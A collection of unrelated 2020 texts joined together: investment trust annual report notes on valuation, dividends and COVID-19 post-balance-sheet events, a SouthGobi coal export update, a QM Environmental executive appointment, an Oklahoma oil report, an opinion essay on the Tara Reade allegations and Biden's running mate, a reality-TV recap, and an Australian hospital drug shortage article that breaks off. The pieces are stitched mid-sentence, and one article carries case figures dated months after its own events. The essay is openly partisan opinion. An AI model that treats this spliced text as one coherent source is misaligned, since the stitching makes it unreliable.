investments such as dividends and interest, are recognised in the income statement and are allocated to the revenue column or the capital column in accordance with the SORP (see note 1(a)). More detail on certain categories of investment is set out below. Given that the subsidiaries and associates are held at fair value and are exposed to materially similar risks as the Company, we do not expect the risks to materially differ from those disclosed in the Annual Report. Unquoted investments Fair value for unquoted investments is established by using various valuation techniques. Funds and co-investments are valued at the underlying investment managers valuation where this is consistent with the requirement to use fair value. Where this is not the case, adjustments are made or alternative methods are used as appropriate. The most common reason for adjustments is to take account of events occurring after the date of the managers valuation, such as realisations. The fair value of direct unquoted investments is calculated in accordance with the 2018 International Private Equity and Venture Capital Valuation Guidelines. The primary valuation methodology used is an earnings multiple methodology, with other methodologies used where they are more appropriate. Quoted investments Quoted investments are held at the last traded bid price on the balance sheet date. When a purchase or sale is made under contract, the terms of which require delivery within the timeframe of the relevant market, the contract is reflected on the trade date. Subsidiary undertakings The investments in the subsidiaries are recognised at fair value through profit and loss. The valuation of the subsidiaries takes into account an accrual for the estimated value of interests in the co-investment incentive scheme. Under these arrangements, ICG and certain of its executives and, in respect of certain historic investments, the executives and connected parties of Graphite Capital Management LLP (the 'Former Manager') (together 'the Co-investors'), are required to co-invest alongside the Company, for which they are entitled to a share of investment profits if certain performance hurdles are met. These arrangements are discussed further in the Report of the Directors. At 31 January 2020, the accrual was estimated as the theoretical value of the interests if the portfolio had been sold at the carrying value at that date. Associates Investments which fall within the definition of an associate under IAS 28 (Investments in associates) are accounted for as investments held at fair value through profit or loss, as permitted by that standard. The Company holds an interest (including indirectly through its subsidiaries) of more than 20% in a small number of investments that may normally be classified as subsidiaries or associates. These investments are not considered subsidiaries or associates as the Company does not exert control or significant influence over the activities of these companies/partnerships as they are managed by other third parties. 4) Earnings per share Year ended 31 January 2020 Year ended 31 January 2019 Revenue return per ordinary share 4.02p 2.69p Capital return per ordinary share 112.61p 115.43p Earnings per ordinary share (basic and diluted) 116.63p 118.12p Revenue return per ordinary share is calculated by dividing the revenue return attributable to equity shareholders of 2.8m (2019: 1.9m) by the weighted average number of ordinary shares outstanding during the year. Capital return per ordinary share is calculated by dividing the capital return attributable to equity shareholders of 77.7m (2019: 79.9m) by the weighted average number of ordinary shares outstanding during the year. Basic and diluted earnings per ordinary share are calculated by dividing the earnings attributable to equity shareholders of 80.5m (2019: 81.8m) by the weighted average number of ordinary shares outstanding during the year. The weighted average number of ordinary shares outstanding (excluding those held in treasury) during the year was 69,027,192 (2019: 69,243,466). There were no potentially dilutive shares, such as options or warrants, in either year. 5) Dividends Year ended 31 January 2020 000 Year ended 31 January 2019 000 No second interim dividend in respect of prior year (2019: 5.0p per share) 3,463 Third quarterly dividend in respect of year ended 31 January 2019: 5.0p per share (2019: 5.0p) 3,459 Final dividend in respect of year ended 31 January 2019: 7.0p per share (2019: 6.0p) 4,839 4,156 First quarterly dividend in respect of year ended 31 January 2020: 5.0p per share (2019: 5.0p) 3,450 3,463 Second quarterly dividend in respect of year ended 31 January 2020: 5.0p per share (2019: 5.0p) 3,444 3,461 Total 15,192 14,543 The Company paid a third quarterly dividend of 5.0p per share in March 2020. The Board has proposed a final dividend of 8.0p per share in respect of the year ended 31 January 2020 which, if approved by shareholders, will be paid on 24 July 2020, to shareholders on the register of members at the close of business on 3 July 2020. 6) Net asset value per share The net asset value per share is calculated as the net assets attributable to shareholders of 793.5m (2019: 730.9m) and on 68,877,055 (2019: 69,177,055) ordinary shares in issue at the year end. There were no potentially dilutive shares, such as options or warrants, at either year end. Calculated on both the basic and diluted basis the net asset value per share was 1,152.1p (2019: 1,056.5p). 7) Post balance sheet events Following the year end, there have been developments in relation to the COVID-19 outbreak resulting in significant market volatility and wider disruption. The Manager has taken action to protect its people and maintain business continuity, with all team members working remotely and the Companys key service providers continuing to operate effectively. The Manager is working closely with the Companys underlying managers to understand the immediate and potential future impact of the COVID-19 pandemic, and its economic fallout, on the Company and its Portfolio. The majority of the Companys valuations rely on information provided by underlying portfolio managers who report on a quarterly basis. While there have been no subsequent valuations received as at the date of this report the Manager expects, based on discussions with the underlying portfolio managers, that the reduction in the Portfolio value since the balance sheet date has been less severe than the reduction in public markets. As noted within the Managers Review, during the year the Companys financial position was strengthened by agreeing a new bank facility of 176m (148m), which matures in two equal tranches in April 2021 and April 2022 and is subject to a number of covenants. Since the year end, the Company has drawn 40m from its facility, taking the Companys gross cash balances to 56m at 23 April 2020. As part of the Boards assessment of the going concern basis and viability of the Company, as detailed in the Corporate Governance Report, a range of stressed scenarios and sensitivity analyses were examined to identify conditions that might result in the facilitys covenants being breached. This included the consideration of possible remedial action that the Company could undertake to avoid such breaches. The diversification and defensive characteristics of the Portfolio were also considered. The output from the scenario analysis is sensitive to the reduction in Portfolio value which is dependent on external factors. The Company is not in breach of any of its facility covenants, has sufficient headroom and is well placed to manage the Portfolio cash flows. However, in the event of an extreme fall in Portfolio value, the Company would need to undertake remedial actions in order to continue to meet these covenants. Given the depth of the secondary markets, and the Companys track record of secondary sales, the most likely route would be for the Company to undertake secondary transactions of its existing assets and commitments. The Company would also discuss alternative arrangements with its existing lenders. Based on the Boards review and drawing on its extensive skills and experience it expects that, even in this extreme scenario, the Company would continue as a viable entity. The COVID-19 pandemic is considered to be a non-adjusting post balance sheet event and as such no adjustments have been made to the valuation of assets and liabilities at 31 January 2020. Between 1 February 2020 and 23 April 2020, being the latest practical date before publication of this document, the Company purchased 110,000 ordinary shares at an average price of 700p, for a total cost of 0.8m at a weighted average discount of 40%. These shares are held in treasury. GLOSSARY (UNAUDITED) Alternative Performance Measures (APMs) are a term defined by the European Securities and Markets Authority as financial measures of historical or future performance, financial position, or cash flows, other than a financial measure defined or specified in the applicable financial reporting framework. APMs are used in this report if considered by the Board and the Manager to be the most relevant basis for shareholders in assessing the overall performance of the Company and for comparing the performance of the Company to its peers, taking into account industry practice. Definitions and reconciliations to IFRS measures are provided in the main body of the report or denoted *in this Glossary, where appropriate. Buyout funds are funds that acquire controlling interests in companies with a view towards later selling those companies or taking them public. Compound Annual Growth Rate (CAGR) represents the annual growth rate of an investment over a specified period of time longer than one year. Capital deployed* please see Total new investment. Carried interest is equivalent to a performance fee. This represents a share of the profits that will accrue to the underlying private equity managers, after achievement of an agreed preferred return. Co-investment is a direct investment in a company alongside a private equity fund. Co-investment incentive scheme accrual represents the estimated value of interests in the co-investment incentive scheme operated by the Company. At both 31 January 2020 and 31 January 2019, the accrual was estimated as the theoretical value of the interests if the Portfolio had been sold at its carrying value at those dates. Commitment represents the amount of capital that each limited partner agrees to contribute to the fund which can be drawn at the discretion of the general partner. Direct investments are investments in a single underlying company. Discount* arises when the Companys shares trade at a discount to NAV. In this circumstance, the price that an investor pays or receives for a share would be less than the value attributable to it by reference to the underlying assets. The discount is the difference between the share price and the NAV, expressed as a percentage of the NAV. For example, if the NAV was 100p and the share price was 90p, the discount would be 10%. Drawdowns are amounts invested by the Company into funds when called by underlying managers in respect of an existing commitment. EBITDA stands for earnings before interest, tax, depreciation and amortisation, which is a widely used performance measure in the private equity industry. Enterprise value is the aggregate value of a companys entire issued share capital and net debt. FTSE All-Share Index Total Return is the change in the level of the FTSE All-Share Index, assuming that dividends are re-invested on the day that they are paid. Full realisations are exit events (e.g. trade sale, sale by public offering, or sale to a financial buyer) following which the residual exposure to an underlying company is zero or immaterial. Funds in investment period are those funds which are able to make new platform investments under the terms of their fund agreements, usually up to five years after the initial commitment. General Partner (GP) is the entity managing a private equity fund that has been established as a limited partnership. This is commonly referred to as the Manager. Hedging is an investment technique designed to offset a potential loss on one investment by purchasing a second investment that is expected to perform in the opposite way. High conviction portfolio* comprises co-investments, ICG managed funds and secondary fund investments. Initial Public Offering (IPO) is an offering by a company of its share capital to the public with a view to seeking an admission of its shares to a recognised stock exchange. Internal Rate of Return (IRR) is a measure of the rate of return received by an investor in a fund. It is calculated from cash drawn from and returned to the investor together with the residual value of the investment. Last Twelve Months (LTM) refers to the time frame of the immediately preceding 12 months in reference to a financial metric used to evaluate the Companys performance. Limited Partner (LP) is an institution or individual who commits capital to a private equity fund established as a limited partnership. These investors are generally protected from legal actions and any losses beyond the original investment. Limited Partnership includes one or more general partners, who have responsibility for managing the business of the partnership and have unlimited liability, and one or more limited partners, who do not participate in the operation of the partnership and whose liability is ordinarily capped at their capital and loan contribution to the partnership. In typical fund structures, the general partner will not receive a profit share until cost has been returned and an agreed preferred return has been achieved. Local currency return is the change in the valuation of the Companys Portfolio, before the effect of currency movements and co-investment scheme accrual. The local currency return of 16.6% is calculated as follows: m 2020 2019 Income, gains and losses on investments 92.7 91.5 Foreign exchange gains and losses included in gains and losses on investments 13.8 (8.7) Incentive accrual valuation movement 8.9 7.6 Total gains on Portfolio investments excluding impact of foreign exchange 115.4 90.4 Opening Portfolio valuation 694.8 600.7 Portfolio return on a local currency basis 16.6% 15.0% Management Buyin (MBI) is a change of ownership, where an incoming management team raises financial backing, normally a mix of equity and debt, to acquire a business. Management Buyout (MBO) is a change of ownership, where the incumbent management team raises financial backing, normally a mix of equity and debt, to acquire a business it manages. Net asset value per share (NAV) is the value of the Companys net assets attributable to one ordinary share. It is calculated by dividing shareholders funds by the total number of ordinary shares in issue. Shareholders funds are calculated by deducting current and long-term liabilities, and any provision for liabilities and charges, from the Companys total assets. Net asset value per share Total Return* is the change in the Companys net asset value per share, assuming that dividends are re-invested at the end of the quarter in which the VANCOUVER, British Columbia, April 28, 2020 (GLOBE NEWSWIRE) -- SouthGobi Resources Ltd. (TSX: SGQ, HK: 1878) (SouthGobi or the Company) is providing this corporate update further to its announcement dated March 30, 2020 as required under the terms of the Canadian Securities Administrators temporary blanket relief. which the Company relied on to postpone the filing of its audited consolidated financial statements for its financial year ended December 31, 2019, the accompanying Managements Discussion and Analysis of Financial Condition and Results of Operations and its Annual Information Form for the financial year ended December 31, 2019 (collectively, the 2019 Annual Filings). As previously disclosed in its announcement dated February 19, 2020, as a result of the closure of Mongolias southern border with China, the Company suspended coal exports to China effective February 11, 2020. On March 28, 2020, the Ceke Port of the Mongolian-Chinese border was re-opened for coal export on a trial basis, with a limit imposed on the total volume of coal that is permitted to be exported during the trial period. The Companys coal export from March 28 to today amounted to approximately 90,000 tonne. In order to preserve its working capital, the Company has ceased the coal mining activities since February 11, 2020. While the Company is continuing the coal blending activities, the coal mining activities will remain suspended in May 2020. The Company anticipates that its existing coal inventories are sufficient to satisfy expected sales demand for a period of at least two months as of the date hereof. The Company anticipates that its revenue, liquidity and profitability will continue to be adversely impacted until such time as the coal exports into China are allowed to resume at normal levels. The adverse impact may negatively impact the price and volatility of the securities of the Company, shareholders and potential investors of the Company are advised to exercise caution when dealing in the securities of the Company. The Company will continue to closely monitor the development of the COVID-19 pandemic and its impact on the operations and financials of the Company, and will make further announcement when appropriate. Story continues The Company confirms that its management and other insiders are subject to the Companys Corporate Disclosure, Confidentiality and Securities Trading Policy which imposes a trading black-out restrictions that reflect the principles set out in National Policy 11-207 Failure-to-File Cease Trade Orders and Revocations in Multiple Jurisdictions and such trading restrictions will be in place until such time as the Company files the 2019 Annual Filings. The Company expects to file the 2019 Annual Filings on May 14, 2020. Until such time as the Company files its 2019 Annual Filings, shareholders and potential investors of the Company are advised to exercise caution when dealing in the securities of the Company. Forward-Looking Statements Certain information included in this press release that is not current or historical factual information constitutes forward-looking statements or information within the meaning of applicable securities laws (collectively, forward-looking statements), including information about the status of the Companys operations and the Companys current coal inventory being sufficient to meet expected sales demand for a period of two months from the date hereof. Forward-looking statements are frequently characterized by words such as plan, expect, project, intend, believe, anticipate, "could", "should", "seek", "likely", "estimate" and other similar words or statements that certain events or conditions may or will occur. Forward-looking statements are based on certain factors and assumptions including, among other things, the status of the Mongolian-Chinese border crossing, managements future sales expectations and other similar factors that may cause actual results to differ materially from what the Company currently expects. Actual results may vary from the forward-looking statements. Readers are cautioned not to place undue importance on forward-looking statements, which speaks only as of the date of this disclosure, and not to rely upon this information as of any other date. While the Company may elect to, it is under no obligation and does not undertake to, update or revise any forward-looking statements, whether as a result of new information, further events or otherwise at any particular time, except as required by law. Additional information concerning factors that may cause actual results to materially differ from those in such forward-looking statements is contained in the Companys filings with Canadian securities regulatory authorities and can be found under the Companys profile on SEDAR at www.sedar.com. About SouthGobi SouthGobi, listed on the Toronto and Hong Kong stock exchanges, owns and operates its flagship Ovoot Tolgoi coal mine in Mongolia. SouthGobi produces and sells coal to customers in China. Website: www.southgobi.com Contact: Investor Relations Kino Fu Office: +852 2156 7030 (Hong Kong) +1 604 762 6783 (Canada) Email: kino.fu@southgobi.com MISSISSAUGA, Ontario, April 27, 2020 (GLOBE NEWSWIRE) -- QM Environmental (QM or the Company), a leading Canadian environmental and industrial services company, is pleased to announce the appointment of Harold (Harry) Kim, P. Eng., as the Companys new President. We are pleased to have Mr. Kim join our team and to help lead us through the next phase of our companys growth, said Wes Hall, Executive Chairman of QM Environmental. Mr. Kim has the entrepreneurial spirit, broad-based industry experience and proven leadership skills to enhance our operational and financial performance and to further strengthen our commitment to serving our clients needs with innovative end-to-end solutions and unparalleled execution. A seasoned professional with over three decades of experience in environmental consulting, Mr. Kim was most recently President of Independent Consulting Service (Toronto), a boutique Canadian consulting practice providing M&A advisory, business strategy, marketing and technology commercialization to environmental, financial and technology companies. Previously, he was with Hatch Ltd., a leading international engineering and technology firm where, as Managing Director, Environmental Services Group, he led a global team of environmental professionals in the mining, infrastructure and energy sectors. Consistent with his entrepreneurial background, Mr. Kim was also a founding partner of CPG Environmental, a top tier Canadian environmental consulting practice which was acquired by an international firm. Mr. Kim completed his Bachelor of Engineering Science (Civil) from Western University in London, Ontario and serves on a number of organizations as an industry advisor promoting best practices in sustainability, climate change, decarbonization and indigenous engagement. Im pleased be joining the outstanding team at QM Environmental and look forward to building on the success of QMs 35-year history as the countrys leading environmental and industrial services company, said Mr. Kim. The Company also announces the departure of CEO, Justin Sharp, effective immediately and thanks Mr. Sharp for his service to the Company. Mr. Kim assumes his new role as QMs President on May 4, 2020. About QM Environmental QM Environmental is a leading environmental and industrial services company with offices and qualified teams strategically located across Canada to provide end-to-end capabilities to the industries and customers it serves. QM Environmental is a customer-driven organization, backed by over 35 years of experience solving environmental challenges through its strong culture of excellence in health and safety, integrity, and quality. QMs services include: Environmental Remediation, Demolition and Decommissioning, Hazardous Materials Abatement, Emergency Response and Management, Training, Waste Management and Facilities, and Water Treatment. Learn more at www.QMenv.com. Oklahoma Governor Kevin Stitt on April 26 wrote a letter to the United States President Donald Trump urging him to declare the coronavirus pandemic an 'Act of God' in order to safeguard the domestic oil and gas industry. Last week, the oil prices for the first time in history dropped below zero due to overproduction and decreasing demand amid the lockdown. Read: US Oil Prices Recover A Day After Trading Below $0 For The First Time Ever "Over-production of oil continues to threaten the economy, posing many potential environmental threats to Oklahoma and other producing states with no demand and rapidly diminishing storage capacity. This could lead to difficult decisions for producers regarding where to position these hydrocarbons with no place to store them and no one to buy them," Still wrote in his letter. Read: Donald Trump Pledges To 'never Let Oil Industry Down' As Prices Plunge "We are asking your administration to declare the COVID-19 pandemic a 'force majeure' or 'act of God' for the narrow purpose of protecting these producers from actions to cancel leases held by production as a result of production stoppage. This will be a necessary step to encourage and support those operators who choose to stop production until demand returns and storage becomes readily available," Stitt added further. Today I sent a letter to President @realdonaldtrump to ask for him to declare the #COVID19 pandemic an Act of God to provide aid to our oil and gas industry and to protect the environment. Oklahoma, we are in this together and we will get through this. pic.twitter.com/JSnNCWhXfz Governor Kevin Stitt (@GovStitt) April 25, 2020 Read: 'Cheaper Than Toilet Paper': Plunging Oil Prices Trigger Meme Fest On Twitter Decreasing oil demand According to reports, the coronavirus outbreak has lowered the demand for crude oil in the international market by 30 million barrels per day. The United States became the largest oil producer last year taking its capacity to 13 million barrels a day, but the decreasing demand caused by the pandemic is making the producers wary of their next move. As per reports, Oklahoma's energy regulator warned that the current production can be considered economic waste because the companies are producing more with demand is at its lowest in decades. Read: Donald Trump May Halt Saudi Crude Oil Imports To Support Domestic Industry (Image Credit: AP) Photo: Tom Brenner/Getty Images In the world of political reporting on the presidential race, two seemingly divergent stories are taking shape and blowing up, respectively. And its the stuff of feminist nightmares. The first is about the veepstakes: Because the world is topsy-turvy and former vice-president Joe Biden cleared the Democratic field in March, were in an earlier-than-usual frenzy of speculation about who his running mate will be. Biden, who has long been dogged by criticism on feminist grounds (stemming from his history of bad stances on abortion, his having permitted the ill treatment of Anita Hill during the Clarence Thomas hearings, and allegations that he has spent a career touching women in ways that have made them feel uncomfortable), has promised that his running mate will be a woman. (Will she be short or tall, big or small, black or white, left or center? Who is to say, really. She will be A Woman.) Meanwhile, Bidens shaky past behavior around women and their bodies isnt staying in his past, despite his having worked to overcome it via passage of the Violence Against Woman Act, improving his views on abortion and the Hyde Amendment, sort of apologizing to Hill, and promising to pick A Woman vice-president and appoint A Black Woman to the Supreme Court. Last year, A Woman named Tara Reade, who worked in Bidens office in 1992 and 1993, was one of several to allege that Biden had touched her neck and shoulders in ways that were unwelcome; in Reades case, while she was in his employ. This March, Reade went further and claimed that Biden in fact digitally penetrated her against her will and that when she complained to his staff, she was retaliated against professionally claims that Biden and his former staffers have denied but that investigative reporters have been working to shed new light on. Over this weekend, audio emerged of Reades late mother, whom she says she told about the assault, calling in to Larry Kings television show in 1993 to complain about how her daughter had a problem with a prominent politicians staff but was rebuffed when she complained, strongly corroborating the claim that Reade expressed dissatisfaction and suffered professional consequences, an allegation supported by the New York Times, which reported that two former interns recalled Reade abruptly ceasing to supervise them. On Monday, Lynda LaCasse, Reades former neighbor and a Biden supporter, told Rich McHugh, Ronan Farrows former producer, that Reade had confided to her in detail about having been assaulted by Biden, while another former colleague confirmed to McHugh that Reade had told her shed complained of harassment and been fired by a prominent politician. Such strong pieces of corroboration should surely imperil Bidens position at the top of the ticket, though it remains to be seen whether in the midst of the COVID crisis and with all the other candidates out of contention there is any chance that they will. And part of whats sickeningly clear is that if Biden remains the Democratic nominee, whichever woman gets the nod to be his running mate will wind up drinking from a poisoned chalice. Because the promise to choose a woman ensures that whoever she is, she will be forced to answer over and over again for Bidens treatment of other women, including the serious allegations of assault leveled by Tara Reade. This double bind was already apparent this weekend, in advance of McHughs reporting, when New York representative Alexandria Ocasio-Cortez confirmed once again that she would vote for Biden despite their sharp political differences. Ocasio-Cortez, who is progressive on many issues, has a long history of righteous fury at the ubiquity and impact of sexual harassment and assault. Back in 2018, she said that assault is one of the most serious allegations anyone who cares to be a public servant can be accused of. Sexual assault is about the abuse of power. It is always women who are marginalized. It is the interns. It is the immigrants. It is the trans. They are always most at risk, because society listens to them the least. Ocasio-Cortez was also among the first politicians to suggest that Reades claims were legitimate to talk about and deserved further investigation, for which Reade thanked her on Twitter. But since Ocasio-Cortez has indicated that she intends to vote for Biden, Reade has told the conservative website the Daily Caller how disappointed she is that AOC has chosen to toe the line, and on Sunday she tweeted, Those who remain silent are complicit to rape and tagged Stacey Abrams, Kamala Harris, Tulsi Gabbard, Elizabeth Warren, Amy Klobuchar, Michelle Obama, Barack Obama, and Ocasio-Cortez; it was retweeted 6,000 times. One of the grim ironies here is that its some of these people who have worked most fiercely to keep Biden from becoming the nominee. But now that he is the presumptive choice, he may in fact be the only presidential bulwark against Donald Trump, who is both murderous and incompetent and whose reelection would lead to further cataclysmic collapse of our environment, health-care system, courts, and democracy, with fatal results that will redound more negatively to women than to men and most negatively of all to women with the fewest resources. In the fight to prevent this, Biden and his campaign will be calling on women especially the women who have challenged him in the past, including on feminist grounds to help him build support by rallying other women around him. That rallying will now have to entail somehow papering over the disgust and dismay provoked by multiple allegations of inappropriate touching and alleged assault made against yet another would-be president. What a grievous mess. Bidens critics on the left should be hoping for the selection of a powerful progressive to run alongside him, and perhaps succeed him, whenever that might be. But any politician who might fulfill those requirements whether your fantasies run toward Warren or Abrams or Barbara Lee or Ayanna Pressley (AOC is too young) will also, tautologically, be a politician who has taken an aggressive stand against sexual harassment and assault. So on the one hand, these are women who left-leaning feminists should hope Biden picks. They are women who themselves might for extremely good ideological reasons want to lead the country and see Bidens vice-presidency as an opportunity to make his administration, and thus the country, better. Some, especially Abrams, have been very vocal about their desire for this job, which is itself a radical approach to voicing ambition. Yet in putting themselves forward as subsidiaries to Biden, in accepting an invitation that he might extend, or even in voicing their support for his campaign, these women wind up imperiling themselves by getting tied to him and the mess of his historical shortcomings, often on exactly the issues that have driven them into politics. In fact, they are quite likely to have their own history of righteous advocacy held up against them, used to make them look like hypocrites for agreeing to be on a ticket with a man who has been credibly accused of behavior they have aggressively condemned, and as sops to a system that they are in fact working hard to change. (These kinds of turnarounds have been made by former male rivals all the time, and, in fact, Bernie Sanders has come in for some criticism for having endorsed Biden after Reades allegations were made public; but we have a higher tolerance for inconvenient hypocrisy when it comes from male politicians, likely because we have centuries of experience with it and, in this case, because the contested ground the unequal distribution of power along gendered lines isnt at the very heart of the matter.) But is the only alternative to hope that Biden picks a milquetoast woman who has never distinguished herself as a feminist or progressive advocate and who, therefore, dispiritingly, cannot be called out for hypocrisy? This is indeed one of my fears, as Reades story gets firmer corroboration and the Biden campaign and its supporters in the Democratic Party begin to grapple with its seriousness: Will it alter the calculus around his vice-presidential pick, leading him to pick A Woman whom he can count on to diminish Reades claims? Is the cost of a nominee who is a disappointment to many feminists on the left a running mate (and thus likely presidential successor) who is just as disappointing? Even those women will still be asked about Reade Amy Klobuchar and Gretchen Whitmer, both reportedly on his shortlist, have already been asked about it and any willingness to defend him or shield him from this story will leave them vulnerable to being held responsible for the misdeeds of the mediocre man to whom they will now be publicly bound. This kind of chilling calculus, even before the Reade allegations, led many Biden critics (including me) to hope that he did not become the nominee from the start. The damage often inflicted by sexual power abuses extend far beyond those who have been abused to others who are reliant on those accused of abuse whether as employees, dependent economically; family members, dependent emotionally and economically; or voters, dependent politically. One of the hallmarks of systemic gender inequity is that women wind up paying for the misdeeds of the more powerful men to whom they are subsidiary, a setup that reinforces mens ability to perpetuate and profit from abuse. Democratic women got a taste of this when Al Franken was accused of harassment. While he denied the allegations and asked for an investigation, his female colleagues were asked repeatedly by those on both sides of the aisle to condemn him or be understood as hypocrites willing only to come out against those accused of harassment if they belong to the opposition party. Democratic women including possible Biden VP picks Harris and, eventually, Frankens close friend Warren wound up asking that the Minnesota senator resign. New York senator Kirsten Gillibrand, a longtime advocate against sexual harassment and assault in the military and on college campuses, has not stopped paying the price for having been the first to call for Frankens resignation. She was the first of the six women running to drop out of the Democratic presidential-primary contest this summer and is still widely cast as an opportunist, despite the fact that challenging widely beloved and powerful men has never been a golden goose for women in politics or public life in any era. Recently, when Gillibrand endorsed Biden and called him a champion for women, she was criticized for it. That criticism may have been fair, but it is also an illustration of the grim tax women are expected to pay, always in reaction to the more powerful men whose authority they dont get to challenge without being pilloried for it, but that they always must carefully reflect and correctly comment on. And make no mistake, if Biden loses, regardless of his running mate, even as feminists are being criticized for hypocrisy in not condemning him more swiftly, it will also be feminists and women who are blamed for his loss, for encouraging an environment in which claims of sexual harm are taken seriously enough to damage a politician. Especially in light of McHughs recent persuasive reporting on Reades assault claim, Democrats and feminists are in a terrible bind, and that includes those of us who never thought Biden should be the nominee. Because as of now he is the nominee. And he needs a running mate, and I dont think hoping he picks a dud is a great strategy for expanding progressive power within his administration, even if there are reasonable doubts about how much influence a progressive vice-president might have within his administration. The fact should be that it is better to have the right voice at Bidens side than no voice there at all. But if we get that progressive voice, she will immediately be damaged via her association with the nominee. Alas, we do not have a system or culture in the United States that would permit a running mate to say, I am deeply troubled by the allegations persuasively leveled against my running mate, Joe Biden, and wish we didnt live in a world in which we had to choose between an accused rapist and self-confessed pussy grabber versus an accused harasser whos now been credibly accused of assault, but this is what white capitalist patriarchy does and Im actually here to try to change that! We should have a way to say those things. If part of the work of this election is pushing for a politics that is more just, we should be insisting on freedom for women including those who will be asked to support Joe Biden, within his party and as his running mate to fully express themselves about the gendered and political realities in front of us. Reades former neighbor Lynda LaCasse offered a model of this herself, noting that shes a strong Biden supporter and will vote for him, but that she still [had] to come out and say this I would want somebody to stand up for me. It takes a lot of guts to do what [Reade] is doing. But its near impossible to imagine prominent Democratic women being able to give voice to this and still wind up with any sway within a potential Biden administration. So as we move closer to the abyss, remember that plenty of Women never wanted to be here, and now that we are, have no good choices in front of us. This article has been updated to reflect the fact that Pramila Jayapal is presumably not eligible to be Bidens choice for veep as she is not a natural-born citizen as specified in Article II of the U.S. Constitution. Last weeks episode of Love & Hip Hop: Atlanta just stoked the messy fire that was sparked between Cheyenne and Kiyomi. Shooters antics led to an explosive face-to-face confrontation where only one woman knew about the other, and hands were thrown. While that love triangle was the main focus of the episode, other things were happening in the LHHATL universe that spilled over into this weeks show. Broken friendships, pregnancy hormones, and a possible cheating scandal took over. Heres a quick recap of 9 which had some fans comparing Shooter to Stevie J. [Spoiler Alert: Do not read ahead if you havent watched episode 9 of Love & Hip Hop: Atlanta] Kiyomi Leslie of Love & Hip Hop: Atlanta | Prince Williams/Wireimage/Getty Images Kiyomi, Shooter, Cheyenne drama rages on Cheyennes feelings are hurt about Shooter springing another woman on her, and shes angry at Kiyomis reaction too. Scrapp realizes he knows Kiyomi personally, though she denies theyve been intimate. An old clip is shown of Kiyomi flirting with Scrapp and rubbing her hand on his leg. Scrapp is not sure that he can trust Shooter for two reasons now. Karlie Redd and Sierra have a kumbaya moment Still away on their ski trip with the group, the Karlie and Sierra catch up about their personal lives. Karlie tells Sierra she got married and her husband cheated on her in their own house. (Were assuming shes talking about Arkansas Mo). But the women talk about their friendship along with the old pain and patterns that affected their relationship. They patch things up, vow to work on being better friends, and hug it out. Things flip to the whole group riding in their party van, and Shekinah gets offended after Sierra answers her question in a sassy way. They start arguing and Spice goes off in her confessional about Shekinah. Shes over her. Now was this really THAT serious for Spice to try and FIGHT?#LHHATL pic.twitter.com/Mf2ORnKykU Love & Hip Hop (@loveandhiphop) April 28, 2020 Mimi tries to make peace, but Spice and Shekinah get into an argument. Once they arrive at the ski spot, Spice tries to pick a physical fight with Shekinah, who remarks that shes had too much plastic surgery to fight. A pregnant Bambi decides to leave because theres too much drama and its making her cry. Fans arent feeling Spices energy and think shes doing way too much. The women ski, and after talking to Sierra, Spice decides to try and fix things with Shekinah. They make amends while stuck on a Ferris wheel, with Spice demanding an apology from her friend for flaking out about finding her a house. Back at the house, Sierra receives a call from a friend telling her BK is at the club with another woman, and said woman is rubbing on his beard. She calls him immediately, he tells her nothing is going on, and they start arguing. Sierra says its the reason shell never get pregnant by him. Erica Mena and Kiyomi chat it up Back in Atlanta, Mena meets up with Kiyomi. They exchange niceties and talk about their shared history dating a certain rapper who shall remain unnamed. Mena gets the scoop on Kiyomis open relationship with Shooter and her dealings with Scrapp. Kiyomi calls Cheyenne basic and says if Shooter keeps her around, hes losing his spot. Erica asks if shes ever met Sierra, Shooters kids mother, and Kiyomi says no but shes met one of the kids. Erica advises her to talk to Sierra for insight. Things go left again with Cheyenne and Kiyomi Toward the end of the show, Scrapp and Cheyenne are on their way to a parking garage meetup with Shooter and Kiyomi. Cheyenne tells Scrapp shes legit in love with Shooter. Apparently, the meet was her request so she could get answers from Shooter. Once they arrive, the two women start arguing until its decided Shooter and Cheyenne need to speak privately. As Kiyomi yells from the car, Shooter tells Cheyenne she lost her position when she dipped out on him for a few months. He compares it to walking off a job. But she responds once she came back, things were on the up and up between them. To her, hes dishonest and shady. Shooter then asks Cheyenne the status of their relationship. Cheyenne vows to NEVER let a f*ckboy mess with her AGAIN! As Cheyenne, Shooter, & Kiyomi try to make sense of their overlapping relationships one more time, she has some REVELATIONS! #LHHATL pic.twitter.com/JRBVluSkLF Love & Hip Hop (@loveandhiphop) April 28, 2020 In the end, Cheyenne says, Im embarassed, humiliated, and brokenhearted. She vows this wont happen again and warns all the women watching LHHATL to use her story as a precautionary tale. SHPA CEO Kristen Michaels (pictured) said the low supply of key drugs will see Australian hospitals struggle to treat a potential surge of COVID-19 patients Australian hospitals are running out of crucial coronavirus drugs needed to keep people on ventilators. Less than half of hospitals have enough supplies of the sedative propofol and muscle relaxant cisatracurium, according to a survey by the Society of Hospital Pharmacists of Australia (SHPA) released on Monday. As Australia braces for a second wave of infections, the surveyed hospitals have set up 1,639 ventilator beds - but only have enough propofol for 774 patients. Propofol is a sedative used for mechanically-venitalated adults but is also used for general anaesthesia and procedural sedation. Demand for propofol is extremely high with 80 per cent of orders for the sedative not being supplied in full. Of the 66 hospitals that responded to the survey, 18 did not have enough propofol to manage a single day of ventilated patients at their planned maximum capacity. Less than half of hospitals have enough supplies of the sedative propofol and muscle relaxant cisatracurium, according to a survey. Pictured: A nurse screening a patient at the Tanunda medical centre A doctor injects propofol to prepare a patient for ventilation. Demand for the drug is extremely high with 80 per cent of orders not being supplied in full Meanwhile, 15 hospitals did not have enough of the sedative for half of their planned capacity. Muscle relaxant cisatracurium, which is used to prepare the body for ventilation, 'are of the next most concern', according to the SHPA survey. Last week, just 9 per cent of hospitals received their order of the muscle relaxant while 72.7 per cent did not receive their order at all. CORONAVIRUS CASES IN AUSTRALIA: 27,244 Victoria: 20,269 New South Wales: 4,273 Queensland: 1,161 Western Australia: 692 South Australia: 473 Tasmania: 230 Australian Capital Territory: 113 Northern Territory: 33 TOTAL CASES: 27,244 ESTIMATED ACTIVE CASES: 269 DEATHS: 897 Updated: 5.31 PM, 11 October, 2020 Source: Australian Government Department of Health Advertisement SHPA CEO Kristen Michaels said the low supply of key drugs will see Australian hospitals struggle to treat a potential surge of COVID-19 patients. Stocks of these drugs are a tightly guarded secret nationwide and hospitals are poorly informed as to what stock they should expect to receive,' she said. Hospitals are implementing the national response to COVID-19 including doubling their intensive care beds in many cases, which requires an increase in medicines to be operationalised only to have commercial wholesalers and manufacturers unable to provide access to key medicines. Ms Michaels also hit out at accusations that hospitals were 'stockpiling' medicine amid the COVID-19 pandemic. 'The rapid preparations we are seeing 